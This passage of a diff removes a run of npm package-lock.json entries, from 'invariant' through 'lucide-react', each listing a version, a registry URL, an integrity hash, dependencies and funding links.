- }
- },
- "node_modules/invariant": {
- "version": "2.2.4",
- "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
- "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
- "dependencies": {
- "loose-envify": "^1.0.0"
- }
- },
- "node_modules/invert-kv": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz",
- "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-alphabetical": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-2.0.1.tgz",
- "integrity": "sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/is-alphanumerical": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-2.0.1.tgz",
- "integrity": "sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==",
- "dependencies": {
- "is-alphabetical": "^2.0.0",
- "is-decimal": "^2.0.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/is-array-buffer": {
- "version": "3.0.4",
- "resolved": "https://registry.npmjs.org/is-array-buffer/-/is-array-buffer-3.0.4.tgz",
- "integrity": "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==",
- "dependencies": {
- "call-bind": "^1.0.2",
- "get-intrinsic": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-async-function": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/is-async-function/-/is-async-function-2.0.0.tgz",
- "integrity": "sha512-Y1JXKrfykRJGdlDwdKlLpLyMIiWqWvuSd17TvZk68PLAOGOoF4Xyav1z0Xhoi+gCYjZVeC5SI+hYFOfvXmGRCA==",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-bigint": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.1.0.tgz",
- "integrity": "sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==",
- "dependencies": {
- "has-bigints": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-binary-path": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
- "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
- "dependencies": {
- "binary-extensions": "^2.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-boolean-object": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.2.1.tgz",
- "integrity": "sha512-l9qO6eFlUETHtuihLcYOaLKByJ1f+N4kthcU9YjHy3N+B3hWv0y/2Nd0mu/7lTFnRQHTrSdXF50HQ3bl5fEnng==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "has-tostringtag": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-bun-module": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/is-bun-module/-/is-bun-module-1.3.0.tgz",
- "integrity": "sha512-DgXeu5UWI0IsMQundYb5UAOzm6G2eVnarJ0byP6Tm55iZNKceD59LNPA2L4VvsScTtHcw0yEkVwSf7PC+QoLSA==",
- "dependencies": {
- "semver": "^7.6.3"
- }
- },
- "node_modules/is-callable": {
- "version": "1.2.7",
- "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz",
- "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-core-module": {
- "version": "2.15.1",
- "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.15.1.tgz",
- "integrity": "sha512-z0vtXSwucUJtANQWldhbtbt7BnL0vxiFjIdDLAatwhDYty2bad6s+rijD6Ri4YuYJubLzIJLUidCh09e1djEVQ==",
- "dependencies": {
- "hasown": "^2.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-data-view": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/is-data-view/-/is-data-view-1.0.2.tgz",
- "integrity": "sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "get-intrinsic": "^1.2.6",
- "is-typed-array": "^1.1.13"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-date-object": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.1.0.tgz",
- "integrity": "sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "has-tostringtag": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-decimal": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-2.0.1.tgz",
- "integrity": "sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/is-extglob": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
- "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-finalizationregistry": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-finalizationregistry/-/is-finalizationregistry-1.1.0.tgz",
- "integrity": "sha512-qfMdqbAQEwBw78ZyReKnlA8ezmPdb9BemzIIip/JkjaZUhitfXDkkr+3QTboW0JrSXT1QWyYShpvnNHGZ4c4yA==",
- "dependencies": {
- "call-bind": "^1.0.7"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-fullwidth-code-point": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
- "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-generator-function": {
- "version": "1.0.10",
- "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.0.10.tgz",
- "integrity": "sha512-jsEjy9l3yiXEQ+PsXdmBwEPcOxaXWLspKdplFUVI9vq1iZgIekeC0L167qeu86czQaxed3q/Uzuw0swL0irL8A==",
- "dependencies": {
- "has-tostringtag": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-glob": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz",
- "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==",
- "dependencies": {
- "is-extglob": "^2.1.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/is-hexadecimal": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-2.0.1.tgz",
- "integrity": "sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/is-map": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/is-map/-/is-map-2.0.3.tgz",
- "integrity": "sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-negative-zero": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/is-negative-zero/-/is-negative-zero-2.0.3.tgz",
- "integrity": "sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-number": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
- "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
- "engines": {
- "node": ">=0.12.0"
- }
- },
- "node_modules/is-number-object": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.1.0.tgz",
- "integrity": "sha512-KVSZV0Dunv9DTPkhXwcZ3Q+tUc9TsaE1ZwX5J2WMvsSGS6Md8TFPun5uwh0yRdrNerI6vf/tbJxqSx4c1ZI1Lw==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "has-tostringtag": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-path-inside": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz",
- "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/is-plain-obj": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-4.1.0.tgz",
- "integrity": "sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/is-regex": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz",
- "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "gopd": "^1.2.0",
- "has-tostringtag": "^1.0.2",
- "hasown": "^2.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-set": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/is-set/-/is-set-2.0.3.tgz",
- "integrity": "sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-shared-array-buffer": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.3.tgz",
- "integrity": "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg==",
- "dependencies": {
- "call-bind": "^1.0.7"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-string": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.0.tgz",
- "integrity": "sha512-PlfzajuF9vSo5wErv3MJAKD/nqf9ngAs1NFQYm16nUYFO2IzxJ2hcm+IOCg+EEopdykNNUhVq5cz35cAUxU8+g==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "has-tostringtag": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-symbol": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz",
- "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "has-symbols": "^1.1.0",
- "safe-regex-test": "^1.1.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-typed-array": {
- "version": "1.1.15",
- "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz",
- "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==",
- "license": "MIT",
- "dependencies": {
- "which-typed-array": "^1.1.16"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-weakmap": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz",
- "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-weakref": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.0.tgz",
- "integrity": "sha512-SXM8Nwyys6nT5WP6pltOwKytLV7FqQ4UiibxVmW+EIosHcmCqkkjViTb5SNssDlkCiEYRP1/pdWUKVvZBmsR2Q==",
- "dependencies": {
- "call-bound": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/is-weakset": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.3.tgz",
- "integrity": "sha512-LvIm3/KWzS9oRFHugab7d+M/GcBXuXX5xZkzPmN+NxihdQlZUQ4dWuSV1xR/sq6upL1TJEDrfBgRepHFdBtSNQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "get-intrinsic": "^1.2.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/isarray": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
- "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="
- },
- "node_modules/isexe": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
- "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
- },
- "node_modules/iterator.prototype": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.4.tgz",
- "integrity": "sha512-x4WH0BWmrMmg4oHHl+duwubhrvczGlyuGAZu3nvrf0UXOfPu8IhZObFEr7DE/iv01YgVZrsOiRcqw2srkKEDIA==",
- "dependencies": {
- "define-data-property": "^1.1.4",
- "es-object-atoms": "^1.0.0",
- "get-intrinsic": "^1.2.6",
- "has-symbols": "^1.1.0",
- "reflect.getprototypeof": "^1.0.8",
- "set-function-name": "^2.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/jackspeak": {
- "version": "3.4.3",
- "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz",
- "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==",
- "dependencies": {
- "@isaacs/cliui": "^8.0.2"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- },
- "optionalDependencies": {
- "@pkgjs/parseargs": "^0.11.0"
- }
- },
- "node_modules/jiti": {
- "version": "1.21.6",
- "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.6.tgz",
- "integrity": "sha512-2yTgeWTWzMWkHu6Jp9NKgePDaYHbntiwvYuuJLbbN9vl7DC9DvXKOB2BC3ZZ92D3cvV/aflH0osDfwpHepQ53w==",
- "bin": {
- "jiti": "bin/jiti.js"
- }
- },
- "node_modules/js-file-download": {
- "version": "0.4.12",
- "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.12.tgz",
- "integrity": "sha512-rML+NkoD08p5Dllpjo0ffy4jRHeY6Zsapvr/W86N7E0yuzAO6qa5X9+xog6zQNlH102J7IXljNY2FtS6Lj3ucg==",
- "license": "MIT"
- },
- "node_modules/js-tokens": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
- "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
- },
- "node_modules/js-yaml": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
- "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
- "license": "MIT",
- "dependencies": {
- "argparse": "^2.0.1"
- },
- "bin": {
- "js-yaml": "bin/js-yaml.js"
- }
- },
- "node_modules/json-buffer": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz",
- "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="
- },
- "node_modules/json-schema-traverse": {
- "version": "0.4.1",
- "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
- "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
- },
- "node_modules/json-stable-stringify-without-jsonify": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
- "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="
- },
- "node_modules/json5": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
- "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
- "dependencies": {
- "minimist": "^1.2.0"
- },
- "bin": {
- "json5": "lib/cli.js"
- }
- },
- "node_modules/jsx-ast-utils": {
- "version": "3.3.5",
- "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz",
- "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==",
- "dependencies": {
- "array-includes": "^3.1.6",
- "array.prototype.flat": "^1.3.1",
- "object.assign": "^4.1.4",
- "object.values": "^1.1.6"
- },
- "engines": {
- "node": ">=4.0"
- }
- },
- "node_modules/keyv": {
- "version": "4.5.4",
- "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
- "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==",
- "dependencies": {
- "json-buffer": "3.0.1"
- }
- },
- "node_modules/language-subtag-registry": {
- "version": "0.3.23",
- "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.23.tgz",
- "integrity": "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="
- },
- "node_modules/language-tags": {
- "version": "1.0.9",
- "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.9.tgz",
- "integrity": "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA==",
- "dependencies": {
- "language-subtag-registry": "^0.3.20"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/lcid": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
- "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==",
- "dependencies": {
- "invert-kv": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/levn": {
- "version": "0.4.1",
- "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz",
- "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==",
- "dependencies": {
- "prelude-ls": "^1.2.1",
- "type-check": "~0.4.0"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/lilconfig": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
- "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/antonk52"
- }
- },
- "node_modules/lines-and-columns": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
- "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="
- },
- "node_modules/locate-path": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
- "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
- "dependencies": {
- "p-locate": "^5.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/lodash": {
- "version": "4.17.21",
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
- "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
- },
- "node_modules/lodash.castarray": {
- "version": "4.4.0",
- "resolved": "https://registry.npmjs.org/lodash.castarray/-/lodash.castarray-4.4.0.tgz",
- "integrity": "sha512-aVx8ztPv7/2ULbArGJ2Y42bG1mEQ5mGjpdvrbJcJFU3TbYybe+QlLS4pst9zV52ymy2in1KpFPiZnAOATxD4+Q==",
- "dev": true
- },
- "node_modules/lodash.debounce": {
- "version": "4.0.8",
- "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz",
- "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==",
- "license": "MIT"
- },
- "node_modules/lodash.isplainobject": {
- "version": "4.0.6",
- "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
- "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==",
- "dev": true
- },
- "node_modules/lodash.merge": {
- "version": "4.6.2",
- "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz",
- "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="
- },
- "node_modules/longest-streak": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz",
- "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/loose-envify": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
- "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
- "dependencies": {
- "js-tokens": "^3.0.0 || ^4.0.0"
- },
- "bin": {
- "loose-envify": "cli.js"
- }
- },
- "node_modules/lowlight": {
- "version": "1.20.0",
- "resolved": "https://registry.npmjs.org/lowlight/-/lowlight-1.20.0.tgz",
- "integrity": "sha512-8Ktj+prEb1RoCPkEOrPMYUN/nCggB7qAWe3a7OpMjWQkh3l2RD5wKRQ+o8Q8YuI9RG/xs95waaI/E6ym/7NsTw==",
- "dependencies": {
- "fault": "^1.0.0",
- "highlight.js": "~10.7.0"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/lru-cache": {
- "version": "10.4.3",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
- "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="
- },
- "node_modules/lucide-react": {
- "version": "0.446.0",
- "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.446.0.tgz",
